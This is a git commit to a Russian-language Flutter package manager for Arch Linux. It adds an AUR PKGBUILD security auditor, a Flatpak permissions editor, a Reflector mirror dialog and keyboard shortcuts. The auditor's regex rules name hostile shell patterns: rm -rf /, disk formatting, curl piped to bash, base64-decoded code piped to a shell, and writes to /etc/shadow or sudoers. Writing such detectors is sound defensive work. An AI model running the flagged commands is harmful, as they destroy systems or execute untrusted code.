feat: Add AUR PKGBUILD audit, Reflector GUI, Flatpak permissions & shortcuts

This commit is contained in:
RarDog
2026-09-13 18:37:47 +03:00
parent e8c9d13cf1
commit cd6dd41552
12 changed files with 2183 additions and 14 deletions
+243
View File
@@ -0,0 +1,243 @@
import 'dart:convert';
import 'dart:io';
/// Уровень серьезности проверки безопасности PKGBUILD
enum SecuritySeverity {
safe,
warning,
danger,
}
/// Отдельная обнаруженная проблема или замечание в PKGBUILD
class SecurityIssue {
final int lineNumber;
final String lineContent;
final SecuritySeverity severity;
final String ruleName;
final String description;
const SecurityIssue({
required this.lineNumber,
required this.lineContent,
required this.severity,
required this.ruleName,
required this.description,
});
}
/// Результат статического аудита PKGBUILD
class PkgbuildAuditResult {
final SecuritySeverity overallSeverity;
final List<SecurityIssue> issues;
final String summary;
const PkgbuildAuditResult({
required this.overallSeverity,
required this.issues,
required this.summary,
});
bool get isSafe => overallSeverity == SecuritySeverity.safe;
bool get hasWarnings => overallSeverity == SecuritySeverity.warning;
bool get hasDanger => overallSeverity == SecuritySeverity.danger;
}
/// Сервис загрузки и анализа PKGBUILD
class AurPkgbuildService {
/// Получение содержимого PKGBUILD для пакета AUR
static Future<String?> fetchPkgbuild(String packageName) async {
final cleanName = packageName.trim();
if (cleanName.isEmpty) return null;
// 1. Попытка загрузить через официальный AUR cgit
try {
final client = HttpClient();
client.connectionTimeout = const Duration(seconds: 6);
final uri = Uri.parse(
'https://aur.archlinux.org/cgit/aur.git/plain/PKGBUILD?h=${Uri.encodeComponent(cleanName)}',
);
final req = await client.getUrl(uri);
final res = await req.close();
if (res.statusCode == 200) {
final body = await res.transform(utf8.decoder).join();
if (body.trim().isNotEmpty && !body.contains('404 Not Found')) {
return body;
}
}
} catch (_) {}
// 2. Fallback через curl
try {
final curlRes = await Process.run('curl', [
'-sL',
'--max-time',
'6',
'https://aur.archlinux.org/cgit/aur.git/plain/PKGBUILD?h=${Uri.encodeComponent(cleanName)}',
]);
if (curlRes.exitCode == 0) {
final stdout = curlRes.stdout.toString();
if (stdout.trim().isNotEmpty && !stdout.contains('404 Not Found')) {
return stdout;
}
}
} catch (_) {}
// 3. Fallback через локальный helper (paru -Gp / yay -Gp)
for (final helper in ['paru', 'yay']) {
try {
final res = await Process.run(helper, ['-Gp', cleanName]);
if (res.exitCode == 0 && res.stdout.toString().trim().isNotEmpty) {
return res.stdout.toString();
}
} catch (_) {}
}
return null;
}
/// Статический аудит безопасности скрипта PKGBUILD
static PkgbuildAuditResult audit(String content) {
final issues = <SecurityIssue>[];
final lines = content.split('\n');
bool inFunction = false;
String currentFunc = '';
for (int i = 0; i < lines.length; i++) {
final rawLine = lines[i];
final line = rawLine.trim();
final lineNum = i + 1;
// Пропускаем комментарии
if (line.startsWith('#') || line.isEmpty) {
continue;
}
// Отслеживание функций (build(), package(), prepare())
final funcMatch = RegExp(r'^(build|package|prepare|check)\s*\(\)').firstMatch(line);
if (funcMatch != null) {
inFunction = true;
currentFunc = funcMatch.group(1) ?? '';
}
if (line.startsWith('}')) {
inFunction = false;
currentFunc = '';
}
// 1. КРИТИЧЕСКИЕ ПРОВЕРКИ (DANGER)
// Деструктивные команды файловой системы
if (RegExp(r'\brm\s+(-[a-zA-Z]*r[a-zA-Z]*f*|-f[a-zA-Z]*r[a-zA-Z]*)\s+(/|\$HOME|~|/\*)(\s|$)').hasMatch(line) ||
RegExp(r'\brm\s+-rf\s+/\b').hasMatch(line)) {
issues.add(SecurityIssue(
lineNumber: lineNum,
lineContent: rawLine,
severity: SecuritySeverity.danger,
ruleName: 'destructive_command',
description: 'Обнаружена опасная команда удаления файлов корня или домашней папки (rm -rf /).',
));
}
// Прямое форматирование дисков или запись в raw-устройства
if (RegExp(r'\b(mkfs|fdisk|parted|dd\s+if=.*of=/dev/)').hasMatch(line)) {
issues.add(SecurityIssue(
lineNumber: lineNum,
lineContent: rawLine,
severity: SecuritySeverity.danger,
ruleName: 'raw_disk_write',
description: 'Попытка форматирования или прямой записи в блочные устройства дисков.',
));
}
// Попытка запуска с правами суперпользователя внутри PKGBUILD
if (RegExp(r'\b(sudo|pkexec|su|doas)\s+').hasMatch(line)) {
issues.add(SecurityIssue(
lineNumber: lineNum,
lineContent: rawLine,
severity: SecuritySeverity.danger,
ruleName: 'privilege_escalation',
description: 'Использование sudo/pkexec недопустимо в PKGBUILD (makepkg собирает пакет от обычного пользователя).',
));
}
// Загрузка и немедленный запуск внешних скриптов (curl | bash)
if (RegExp(r'\b(curl|wget|fetch)\b.*\|\s*(bash|sh|zsh|python|perl)').hasMatch(line)) {
issues.add(SecurityIssue(
lineNumber: lineNum,
lineContent: rawLine,
severity: SecuritySeverity.danger,
ruleName: 'pipe_to_shell',
description: 'Выполнение кода напрямую из интернета через канал (curl | bash). Все исходники должны объявляться в source=().',
));
}
// Обфускация кода через base64 или eval
if (RegExp(r'\b(base64\s+-d|openssl\s+enc\s+-d)\b.*\|\s*(bash|sh)').hasMatch(line) ||
RegExp(r'\beval\s+[\$\(]').hasMatch(line)) {
issues.add(SecurityIssue(
lineNumber: lineNum,
lineContent: rawLine,
severity: SecuritySeverity.danger,
ruleName: 'code_obfuscation',
description: 'Обнаружена подозрительная обфускация или динамическое выполнение кода (eval / base64 -d).',
));
}
// 2. ПРЕДУПРЕЖДЕНИЯ (WARNING)
// Сетевые запросы внутри build() или package()
if (inFunction && (currentFunc == 'build' || currentFunc == 'package')) {
if (RegExp(r'\b(git\s+clone|curl|wget)\b').hasMatch(line) && !line.startsWith('echo')) {
issues.add(SecurityIssue(
lineNumber: lineNum,
lineContent: rawLine,
severity: SecuritySeverity.warning,
ruleName: 'network_in_build',
description: 'Сетевой запрос внутри функции $currentFunc(). Рекомендуется загружать исходники через секцию source=().',
));
}
}
// Опасные разрешения файлов
if (RegExp(r'\bchmod\s+(777|a\+rwx|u\+s)\b').hasMatch(line)) {
issues.add(SecurityIssue(
lineNumber: lineNum,
lineContent: rawLine,
severity: SecuritySeverity.warning,
ruleName: 'loose_permissions',
description: 'Установка небезопасных прав доступа к файлам (chmod 777 или SUID).',
));
}
// Изменение системных конфигураций напрямую
if (RegExp(r'>\s*/etc/(passwd|shadow|sudoers|pam\.d)').hasMatch(line)) {
issues.add(SecurityIssue(
lineNumber: lineNum,
lineContent: rawLine,
severity: SecuritySeverity.danger,
ruleName: 'critical_config_overwrite',
description: 'Попытка прямой модификации критических системных файлов аутентификации.',
));
}
}
// Итоговый вердикт
SecuritySeverity overall = SecuritySeverity.safe;
String summary = 'Скрипт сборки проверен. Подозрительных или опасных команд не обнаружено.';
if (issues.any((i) => i.severity == SecuritySeverity.danger)) {
overall = SecuritySeverity.danger;
summary = 'ВНИМАНИЕ! Обнаружены потенциально опасные команды, которые могут повредить систему.';
} else if (issues.any((i) => i.severity == SecuritySeverity.warning)) {
overall = SecuritySeverity.warning;
summary = 'Обнаружены нестандартные операции сборщика, рекомендуем ознакомиться с кодом.';
}
return PkgbuildAuditResult(
overallSeverity: overall,
issues: issues,
summary: summary,
);
}
}
@@ -0,0 +1,232 @@
import 'dart:io';
enum FlatpakPermissionType {
network,
filesystemHome,
filesystemHost,
socketWayland,
socketX11,
socketPulseaudio,
deviceDri,
}
class FlatpakAppPermissions {
final String appId;
final bool network;
final bool filesystemHome;
final bool filesystemHost;
final bool socketWayland;
final bool socketX11;
final bool socketPulseaudio;
final bool deviceDri;
final bool hasOverrides;
const FlatpakAppPermissions({
required this.appId,
required this.network,
required this.filesystemHome,
required this.filesystemHost,
required this.socketWayland,
required this.socketX11,
required this.socketPulseaudio,
required this.deviceDri,
required this.hasOverrides,
});
FlatpakAppPermissions copyWith({
bool? network,
bool? filesystemHome,
bool? filesystemHost,
bool? socketWayland,
bool? socketX11,
bool? socketPulseaudio,
bool? deviceDri,
bool? hasOverrides,
}) {
return FlatpakAppPermissions(
appId: appId,
network: network ?? this.network,
filesystemHome: filesystemHome ?? this.filesystemHome,
filesystemHost: filesystemHost ?? this.filesystemHost,
socketWayland: socketWayland ?? this.socketWayland,
socketX11: socketX11 ?? this.socketX11,
socketPulseaudio: socketPulseaudio ?? this.socketPulseaudio,
deviceDri: deviceDri ?? this.deviceDri,
hasOverrides: hasOverrides ?? this.hasOverrides,
);
}
}
class FlatpakPermissionsService {
/// Получение текущего статуса разрешений (учитывая манифест пакета и переопределения пользователя)
static Future<FlatpakAppPermissions?> getPermissions(String appId) async {
final cleanId = appId.trim();
if (cleanId.isEmpty) return null;
try {
// 1. Получаем базовый манифест приложения
final infoRes = await Process.run('flatpak', ['info', '-m', cleanId]);
if (infoRes.exitCode != 0) return null;
final manifestText = infoRes.stdout.toString();
// 2. Получаем пользовательские переопределения
final overrideRes = await Process.run('flatpak', ['override', '--user', '--show', cleanId]);
final overrideText = overrideRes.exitCode == 0 ? overrideRes.stdout.toString() : '';
return parsePermissions(cleanId, manifestText, overrideText);
} catch (_) {
return null;
}
}
/// Парсер манифеста и оверрайдов (публичный для модульного тестирования)
static FlatpakAppPermissions parsePermissions(String appId, String manifest, String overrides) {
// Вспомогательная функция парсинга секции [Context]
Map<String, Set<String>> parseContext(String text) {
final map = <String, Set<String>>{};
bool inContext = false;
for (final line in text.split('\n')) {
final trimmed = line.trim();
if (trimmed == '[Context]') {
inContext = true;
continue;
} else if (trimmed.startsWith('[') && trimmed.endsWith(']')) {
inContext = false;
}
if (inContext && trimmed.contains('=')) {
final parts = trimmed.split('=');
final key = parts[0].trim();
final values = parts[1].split(';').map((e) => e.trim()).where((e) => e.isNotEmpty).toSet();
map[key] = values;
}
}
return map;
}
final base = parseContext(manifest);
final user = parseContext(overrides);
bool checkPermission({
required String key,
required String positiveValue,
required String negativeValue,
bool defaultIfMissing = false,
}) {
final userSet = user[key] ?? {};
if (userSet.contains(negativeValue) || userSet.contains('!$positiveValue')) {
return false;
}
if (userSet.contains(positiveValue)) {
return true;
}
final baseSet = base[key] ?? {};
if (baseSet.contains(negativeValue) || baseSet.contains('!$positiveValue')) {
return false;
}
if (baseSet.contains(positiveValue)) {
return true;
}
return defaultIfMissing;
}
final net = checkPermission(
key: 'shared',
positiveValue: 'network',
negativeValue: '!network',
);
final fsHome = checkPermission(
key: 'filesystems',
positiveValue: 'home',
negativeValue: '!home',
) || (base['filesystems']?.contains('host') ?? false) && !(user['filesystems']?.contains('!host') ?? false);
final fsHost = checkPermission(
key: 'filesystems',
positiveValue: 'host',
negativeValue: '!host',
);
final wayland = checkPermission(
key: 'sockets',
positiveValue: 'wayland',
negativeValue: '!wayland',
defaultIfMissing: (base['sockets']?.contains('fallback-x11') ?? false),
);
final x11 = checkPermission(
key: 'sockets',
positiveValue: 'x11',
negativeValue: '!x11',
);
final pulse = checkPermission(
key: 'sockets',
positiveValue: 'pulseaudio',
negativeValue: '!pulseaudio',
);
final dri = checkPermission(
key: 'devices',
positiveValue: 'dri',
negativeValue: '!dri',
) || (base['devices']?.contains('all') ?? false);
final hasUserOverrides = overrides.trim().isNotEmpty && !overrides.contains('No override');
return FlatpakAppPermissions(
appId: appId,
network: net,
filesystemHome: fsHome,
filesystemHost: fsHost,
socketWayland: wayland,
socketX11: x11,
socketPulseaudio: pulse,
deviceDri: dri,
hasOverrides: hasUserOverrides,
);
}
/// Изменение отдельного разрешения без прав root
static Future<bool> setPermission(String appId, FlatpakPermissionType type, bool enabled) async {
final flag = _getOverrideFlag(type, enabled);
try {
final res = await Process.run('flatpak', ['override', '--user', flag, appId]);
return res.exitCode == 0;
} catch (_) {
return false;
}
}
/// Сброс всех пользовательских переопределений для приложения
static Future<bool> resetPermissions(String appId) async {
try {
final res = await Process.run('flatpak', ['override', '--user', '--reset', appId]);
return res.exitCode == 0;
} catch (_) {
return false;
}
}
static String _getOverrideFlag(FlatpakPermissionType type, bool enabled) {
switch (type) {
case FlatpakPermissionType.network:
return enabled ? '--share=network' : '--unshare=network';
case FlatpakPermissionType.filesystemHome:
return enabled ? '--filesystem=home' : '--nofilesystem=home';
case FlatpakPermissionType.filesystemHost:
return enabled ? '--filesystem=host' : '--nofilesystem=host';
case FlatpakPermissionType.socketWayland:
return enabled ? '--socket=wayland' : '--nosocket=wayland';
case FlatpakPermissionType.socketX11:
return enabled ? '--socket=x11' : '--nosocket=x11';
case FlatpakPermissionType.socketPulseaudio:
return enabled ? '--socket=pulseaudio' : '--nosocket=pulseaudio';
case FlatpakPermissionType.deviceDri:
return enabled ? '--device=dri' : '--nodevice=dri';
}
}
}
+188
View File
@@ -0,0 +1,188 @@
import 'dart:io';
import 'admin_service.dart';
class ReflectorCountry {
final String name;
final String code;
final int count;
const ReflectorCountry({
required this.name,
required this.code,
required this.count,
});
}
class ReflectorMirror {
final String url;
final String? country;
const ReflectorMirror({
required this.url,
this.country,
});
}
class ReflectorService {
static List<ReflectorCountry>? _cachedCountries;
/// Проверка доступности утилиты reflector в системе
static Future<bool> isAvailable() async {
try {
final res = await Process.run('which', ['reflector']);
return res.exitCode == 0;
} catch (_) {
return false;
}
}
/// Получение списка поддерживаемых стран
static Future<List<ReflectorCountry>> getCountries() async {
if (_cachedCountries != null) return _cachedCountries!;
final list = <ReflectorCountry>[];
try {
final res = await Process.run('reflector', ['--list-countries']);
if (res.exitCode == 0) {
final lines = res.stdout.toString().split('\n');
// Пропускаем первые 2 строки заголовка
for (int i = 2; i < lines.length; i++) {
final line = lines[i].trim();
if (line.isEmpty) continue;
// Формат: Country (20 chars) Code (4 chars) Count
// Либо через регулярное выражение
final match = RegExp(r'^(.*?)\s+([A-Z]{2})\s+(\d+)$').firstMatch(line);
if (match != null) {
final name = match.group(1)!.trim();
final code = match.group(2)!.trim();
final count = int.tryParse(match.group(3)!) ?? 0;
list.add(ReflectorCountry(name: name, code: code, count: count));
}
}
}
} catch (_) {}
if (list.isEmpty) {
// Fallback на базовые популярные страны
list.addAll(const [
ReflectorCountry(name: 'Germany', code: 'DE', count: 50),
ReflectorCountry(name: 'Russia', code: 'RU', count: 15),
ReflectorCountry(name: 'Netherlands', code: 'NL', count: 30),
ReflectorCountry(name: 'United States', code: 'US', count: 70),
ReflectorCountry(name: 'France', code: 'FR', count: 25),
ReflectorCountry(name: 'Finland', code: 'FI', count: 10),
]);
}
_cachedCountries = list;
return list;
}
/// Получение текущих активных зеркал из /etc/pacman.d/mirrorlist
static Future<List<String>> getCurrentActiveMirrors() async {
final file = File('/etc/pacman.d/mirrorlist');
if (!file.existsSync()) return [];
final active = <String>[];
try {
final lines = await file.readAsLines();
for (final line in lines) {
final trimmed = line.trim();
if (trimmed.startsWith('Server') && trimmed.contains('=')) {
final parts = trimmed.split('=');
if (parts.length > 1) {
active.add(parts[1].trim());
}
}
}
} catch (_) {}
return active;
}
/// Предпросмотр зеркал без записи в систему (Dry run)
static Future<List<String>> previewMirrors({
String? country,
int latest = 5,
bool httpsOnly = true,
String sort = 'rate',
}) async {
final args = <String>[
'--latest', latest.toString(),
'--sort', sort,
];
if (httpsOnly) {
args.addAll(['--protocol', 'https']);
}
if (country != null && country.isNotEmpty && country != 'All') {
args.addAll(['--country', country]);
}
try {
final res = await Process.run('reflector', args);
if (res.exitCode == 0) {
final mirrors = <String>[];
final lines = res.stdout.toString().split('\n');
for (final line in lines) {
final trimmed = line.trim();
if (trimmed.startsWith('Server') && trimmed.contains('=')) {
final parts = trimmed.split('=');
if (parts.length > 1) {
mirrors.add(parts[1].trim());
}
}
}
return mirrors;
}
} catch (_) {}
return [];
}
/// Применение зеркал: создание бэкапа и сохранение через reflector --save
static Future<bool> applyMirrors(
String? password, {
String? country,
int latest = 10,
bool httpsOnly = true,
String sort = 'rate',
}) async {
// 1. Делаем бэкап существующего mirrorlist
try {
final cpProc = await AdminService.runPrivileged(
password,
'cp',
['-f', '/etc/pacman.d/mirrorlist', '/etc/pacman.d/mirrorlist.forge-bak'],
);
await cpProc.exitCode;
} catch (_) {}
// 2. Формируем аргументы reflector
final args = <String>[
'--latest', latest.toString(),
'--sort', sort,
'--save', '/etc/pacman.d/mirrorlist',
];
if (httpsOnly) {
args.addAll(['--protocol', 'https']);
}
if (country != null && country.isNotEmpty && country != 'All') {
args.addAll(['--country', country]);
}
try {
final proc = await AdminService.runPrivileged(
password,
'reflector',
args,
);
final exitCode = await proc.exitCode;
return exitCode == 0;
} catch (_) {
return false;
}
}
}
+19
View File
@@ -14,6 +14,7 @@ import 'screens/installed_screen.dart';
import 'screens/settings_screen.dart';
import 'screens/starter_packs_screen.dart';
import 'screens/updates_screen.dart';
import 'widgets/keyboard_shortcuts_dialog.dart';
import 'widgets/package_inspector.dart';
import 'widgets/spotlight_search_dialog.dart';
@@ -69,6 +70,17 @@ class _MainLayoutState extends State<MainLayout> {
bindings: {
const SingleActivator(LogicalKeyboardKey.keyK, control: true): _openSpotlight,
const SingleActivator(LogicalKeyboardKey.keyK, meta: true): _openSpotlight,
const SingleActivator(LogicalKeyboardKey.slash, control: true): () => KeyboardShortcutsDialog.show(context),
const SingleActivator(LogicalKeyboardKey.f1): () => KeyboardShortcutsDialog.show(context),
const SingleActivator(LogicalKeyboardKey.keyR, control: true): _performInitialBadgeScan,
const SingleActivator(LogicalKeyboardKey.f5): _performInitialBadgeScan,
const SingleActivator(LogicalKeyboardKey.digit1, control: true): () => setState(() => _pageIndex = 0),
const SingleActivator(LogicalKeyboardKey.digit2, control: true): () => setState(() => _pageIndex = 1),
const SingleActivator(LogicalKeyboardKey.digit3, control: true): () => setState(() => _pageIndex = 2),
const SingleActivator(LogicalKeyboardKey.digit4, control: true): () => setState(() => _pageIndex = 3),
const SingleActivator(LogicalKeyboardKey.digit5, control: true): () => setState(() => _pageIndex = 4),
const SingleActivator(LogicalKeyboardKey.digit6, control: true): () => setState(() => _pageIndex = 5),
const SingleActivator(LogicalKeyboardKey.digit7, control: true): () => setState(() => _pageIndex = 6),
},
child: Focus(
autofocus: true,
@@ -143,6 +155,13 @@ class _MainLayoutState extends State<MainLayout> {
],
),
),
MacosTooltip(
message: 'Горячие клавиши (F1 / Ctrl+/)',
child: MacosIconButton(
icon: const MacosIcon(CupertinoIcons.keyboard, size: 14),
onPressed: () => KeyboardShortcutsDialog.show(context),
),
),
],
),
const SizedBox(height: 12),
+33 -14
View File
@@ -4,6 +4,7 @@ import 'package:macos_ui/macos_ui.dart';
import '../../services/admin_service.dart';
import '../../services/doctor_service.dart';
import '../widgets/friendly_term.dart';
import '../widgets/reflector_mirror_dialog.dart';
class DoctorScreen extends StatefulWidget {
const DoctorScreen({super.key});
@@ -684,20 +685,38 @@ class _DoctorScreenState extends State<DoctorScreen> {
style: const TextStyle(fontSize: 12, color: CupertinoColors.systemGrey, height: 1.3),
),
const SizedBox(height: 10),
PushButton(
controlSize: ControlSize.small,
secondary: true,
onPressed: _isActionRunning
? null
: () => _executeAction('Оптимизация зеркал через Reflector', (pwd) => DoctorService.optimizeMirrors(password: pwd)),
child: const Row(
mainAxisSize: MainAxisSize.min,
children: [
MacosIcon(CupertinoIcons.bolt_fill, size: 12, color: Color(0xFFFF9500)),
SizedBox(width: 5),
Text('Выбрать 10 быстрейших зеркал (Reflector)'),
],
),
Wrap(
spacing: 8,
runSpacing: 6,
children: [
PushButton(
controlSize: ControlSize.small,
onPressed: () => ReflectorMirrorDialog.show(context),
child: const Row(
mainAxisSize: MainAxisSize.min,
children: [
MacosIcon(CupertinoIcons.slider_horizontal_3, size: 12),
SizedBox(width: 5),
Text('Настроить зеркала (GUI)'),
],
),
),
PushButton(
controlSize: ControlSize.small,
secondary: true,
onPressed: _isActionRunning
? null
: () => _executeAction('Оптимизация зеркал через Reflector', (pwd) => DoctorService.optimizeMirrors(password: pwd)),
child: const Row(
mainAxisSize: MainAxisSize.min,
children: [
MacosIcon(CupertinoIcons.bolt_fill, size: 12, color: Color(0xFFFF9500)),
SizedBox(width: 5),
Text('Авто-выбор топ-10'),
],
),
),
],
),
],
),
+114
View File
@@ -5,6 +5,8 @@ import '../../services/admin_service.dart';
import '../../services/app_settings_service.dart';
import '../../services/snapshot_service.dart';
import '../widgets/friendly_term.dart';
import '../widgets/keyboard_shortcuts_dialog.dart';
import '../widgets/reflector_mirror_dialog.dart';
class SettingsScreen extends StatefulWidget {
const SettingsScreen({super.key});
@@ -425,6 +427,118 @@ class _SettingsScreenState extends State<SettingsScreen> {
],
),
),
const SizedBox(height: 24),
// Group 4: Mirrors & Reflector
_buildSectionHeader('ЗЕРКАЛА РЕПОЗИТОРИЕВ ARCH LINUX'),
const SizedBox(height: 8),
Container(
padding: const EdgeInsets.all(16),
decoration: BoxDecoration(
color: macosTheme.canvasColor,
borderRadius: BorderRadius.circular(10),
border: Border.all(
color: macosTheme.dividerColor,
width: 0.8,
),
),
child: Row(
children: [
const Expanded(
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Text(
'Оптимизация зеркал через Reflector',
style: TextStyle(
fontWeight: FontWeight.w600,
fontSize: 13.5,
),
),
SizedBox(height: 2),
Text(
'Тестирование скорости зеркал по странам и обновление /etc/pacman.d/mirrorlist',
style: TextStyle(
fontSize: 12,
color: CupertinoColors.systemGrey,
),
),
],
),
),
PushButton(
controlSize: ControlSize.regular,
secondary: true,
onPressed: () => ReflectorMirrorDialog.show(context),
child: const Row(
mainAxisSize: MainAxisSize.min,
children: [
MacosIcon(CupertinoIcons.speedometer, size: 14),
SizedBox(width: 6),
Text('Настроить зеркала'),
],
),
),
],
),
),
const SizedBox(height: 24),
// Group 5: Keyboard Shortcuts
_buildSectionHeader('УПРАВЛЕНИЕ И ГОРЯЧИЕ КЛАВИШИ'),
const SizedBox(height: 8),
Container(
padding: const EdgeInsets.all(16),
decoration: BoxDecoration(
color: macosTheme.canvasColor,
borderRadius: BorderRadius.circular(10),
border: Border.all(
color: macosTheme.dividerColor,
width: 0.8,
),
),
child: Row(
children: [
const Expanded(
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Text(
'Шпаргалка горячих клавиш (Shortcuts)',
style: TextStyle(
fontWeight: FontWeight.w600,
fontSize: 13.5,
),
),
SizedBox(height: 2),
Text(
'Быстрый поиск, смена экранов (Ctrl+1..7), F1 и навигация',
style: TextStyle(
fontSize: 12,
color: CupertinoColors.systemGrey,
),
),
],
),
),
PushButton(
controlSize: ControlSize.regular,
secondary: true,
onPressed: () => KeyboardShortcutsDialog.show(context),
child: const Row(
mainAxisSize: MainAxisSize.min,
children: [
MacosIcon(CupertinoIcons.keyboard, size: 14),
SizedBox(width: 6),
Text('Показать хоткеи'),
],
),
),
],
),
),
],
);
},
@@ -0,0 +1,193 @@
import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart' show Divider;
import 'package:macos_ui/macos_ui.dart';
class KeyboardShortcutsDialog extends StatelessWidget {
const KeyboardShortcutsDialog({super.key});
static Future<void> show(BuildContext context) {
return showMacosSheet(
context: context,
barrierDismissible: true,
builder: (context) => const KeyboardShortcutsDialog(),
);
}
@override
Widget build(BuildContext context) {
final theme = MacosTheme.of(context);
final shortcuts = [
(
keys: ['Ctrl', 'K'],
action: 'Быстрый поиск приложений (Spotlight)',
category: 'Навигация',
),
(
keys: ['Ctrl', '1…7'],
action: 'Быстрый переход между экранами (Каталог, Установленные и др.)',
category: 'Навигация',
),
(
keys: ['Ctrl', '/'],
action: 'Шпаргалка горячих клавиш (это окно)',
category: 'Помощь',
),
(
keys: ['F1'],
action: 'Справка и горячие клавиши',
category: 'Помощь',
),
(
keys: ['Esc'],
action: 'Закрыть модальное окно / отменить действие',
category: 'Общее',
),
];
return Center(
child: Container(
width: 520,
decoration: BoxDecoration(
color: theme.canvasColor,
borderRadius: BorderRadius.circular(16),
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.12)),
boxShadow: [
BoxShadow(
color: CupertinoColors.black.withValues(alpha: 0.45),
blurRadius: 28,
offset: const Offset(0, 10),
),
],
),
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
// Шапка
Padding(
padding: const EdgeInsets.fromLTRB(20, 18, 20, 14),
child: Row(
children: [
Container(
width: 36,
height: 36,
decoration: BoxDecoration(
color: const Color(0xFF34C759).withValues(alpha: 0.15),
borderRadius: BorderRadius.circular(10),
),
child: const Center(
child: MacosIcon(
CupertinoIcons.keyboard,
color: Color(0xFF34C759),
size: 20,
),
),
),
const SizedBox(width: 12),
const Expanded(
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Text(
'Горячие клавиши Forge',
style: TextStyle(
fontSize: 16,
fontWeight: FontWeight.bold,
),
),
SizedBox(height: 2),
Text(
'Удобное управление менеджером пакетов с клавиатуры',
style: TextStyle(
fontSize: 12,
color: CupertinoColors.systemGrey,
),
),
],
),
),
MacosIconButton(
icon: const MacosIcon(CupertinoIcons.xmark, size: 16),
onPressed: () => Navigator.of(context).pop(),
),
],
),
),
const Divider(height: 1, color: CupertinoColors.separator),
// Список шорткатов
Padding(
padding: const EdgeInsets.all(20),
child: Column(
children: shortcuts.map((item) {
return Padding(
padding: const EdgeInsets.only(bottom: 12),
child: Row(
children: [
Row(
children: item.keys.map((k) {
return Container(
margin: const EdgeInsets.only(right: 4),
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 4),
decoration: BoxDecoration(
color: theme.dividerColor.withValues(alpha: 0.15),
borderRadius: BorderRadius.circular(6),
border: Border.all(
color: CupertinoColors.white.withValues(alpha: 0.2),
),
boxShadow: [
BoxShadow(
color: CupertinoColors.black.withValues(alpha: 0.2),
blurRadius: 2,
offset: const Offset(0, 1),
),
],
),
child: Text(
k,
style: const TextStyle(
fontSize: 12,
fontWeight: FontWeight.bold,
fontFamily: 'monospace',
),
),
);
}).toList(),
),
const SizedBox(width: 14),
Expanded(
child: Text(
item.action,
style: const TextStyle(fontSize: 13),
),
),
],
),
);
}).toList(),
),
),
const Divider(height: 1, color: CupertinoColors.separator),
Padding(
padding: const EdgeInsets.all(14),
child: Row(
mainAxisAlignment: MainAxisAlignment.end,
children: [
PushButton(
controlSize: ControlSize.regular,
secondary: true,
onPressed: () => Navigator.of(context).pop(),
child: const Text('Понятно'),
),
],
),
),
],
),
),
);
}
}
+555
View File
@@ -1,11 +1,14 @@
import 'dart:io';
import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart' show SelectableText;
import 'package:flutter/services.dart';
import 'package:macos_ui/macos_ui.dart';
import 'package:url_launcher/url_launcher.dart';
import '../../rust/api/packages.dart';
import '../../rust/frb_generated.dart';
import '../../services/admin_service.dart';
import '../../services/aur_pkgbuild_service.dart';
import '../../services/flatpak_permissions_service.dart';
/// Модальное адаптивное окно просмотра свойств пакета («поверх окна каталога»)
class PackageInspectorSheet extends StatefulWidget {
@@ -51,6 +54,15 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
int _selectedTab = 0; // 0: Обзор, 1: Зависимости, 2: Файлы, 3: Откат
String _fileSearchFilter = '';
// AUR PKGBUILD & Audit
String? _pkgbuildContent;
PkgbuildAuditResult? _pkgbuildAudit;
bool _isLoadingPkgbuild = false;
// Flatpak Permissions
FlatpakAppPermissions? _flatpakPermissions;
bool _isLoadingFlatpakPerms = false;
@override
void initState() {
super.initState();
@@ -59,6 +71,61 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
_loadDetails();
}
Future<void> _loadPkgbuild() async {
setState(() {
_isLoadingPkgbuild = true;
_pkgbuildContent = null;
_pkgbuildAudit = null;
});
try {
final text = await AurPkgbuildService.fetchPkgbuild(_currentPackageName);
if (text != null) {
final audit = AurPkgbuildService.audit(text);
if (mounted) {
setState(() {
_pkgbuildContent = text;
_pkgbuildAudit = audit;
_isLoadingPkgbuild = false;
});
}
} else {
if (mounted) setState(() => _isLoadingPkgbuild = false);
}
} catch (_) {
if (mounted) setState(() => _isLoadingPkgbuild = false);
}
}
Future<void> _loadFlatpakPerms() async {
setState(() => _isLoadingFlatpakPerms = true);
try {
final perms = await FlatpakPermissionsService.getPermissions(_currentPackageName);
if (mounted) {
setState(() {
_flatpakPermissions = perms;
_isLoadingFlatpakPerms = false;
});
}
} catch (_) {
if (mounted) setState(() => _isLoadingFlatpakPerms = false);
}
}
Future<void> _toggleFlatpakPermission(FlatpakPermissionType type, bool val) async {
final success = await FlatpakPermissionsService.setPermission(_currentPackageName, type, val);
if (success) {
await _loadFlatpakPerms();
}
}
Future<void> _resetFlatpakPermissions() async {
final success = await FlatpakPermissionsService.resetPermissions(_currentPackageName);
if (success) {
await _loadFlatpakPerms();
}
}
Future<void> _loadDetails() async {
setState(() {
_isLoading = true;
@@ -98,6 +165,12 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
_packageFiles = files;
_isLoading = false;
});
if (_currentBackend == BackendType.aur) {
_loadPkgbuild();
} else if (_currentBackend == BackendType.flatpak) {
_loadFlatpakPerms();
}
}
} catch (_) {
if (mounted) {
@@ -111,6 +184,7 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
_history.add((name: _currentPackageName, backend: _currentBackend));
_currentPackageName = name;
_currentBackend = backend;
_selectedTab = 0;
});
_loadDetails();
}
@@ -503,6 +577,10 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
'Файлы (${_packageFiles.length})',
if (_currentBackend == BackendType.pacman && _cachedVersions.isNotEmpty)
'Откат кэша (${_cachedVersions.length})',
if (_currentBackend == BackendType.aur)
'PKGBUILD & Аудит',
if (_currentBackend == BackendType.flatpak)
'Разрешения Sandbox',
];
return Column(
@@ -578,6 +656,10 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
_buildFilesTab(theme, d),
if (_currentBackend == BackendType.pacman && _cachedVersions.isNotEmpty)
_buildDowngradeTab(theme, d),
if (_currentBackend == BackendType.aur)
_buildPkgbuildTab(theme),
if (_currentBackend == BackendType.flatpak)
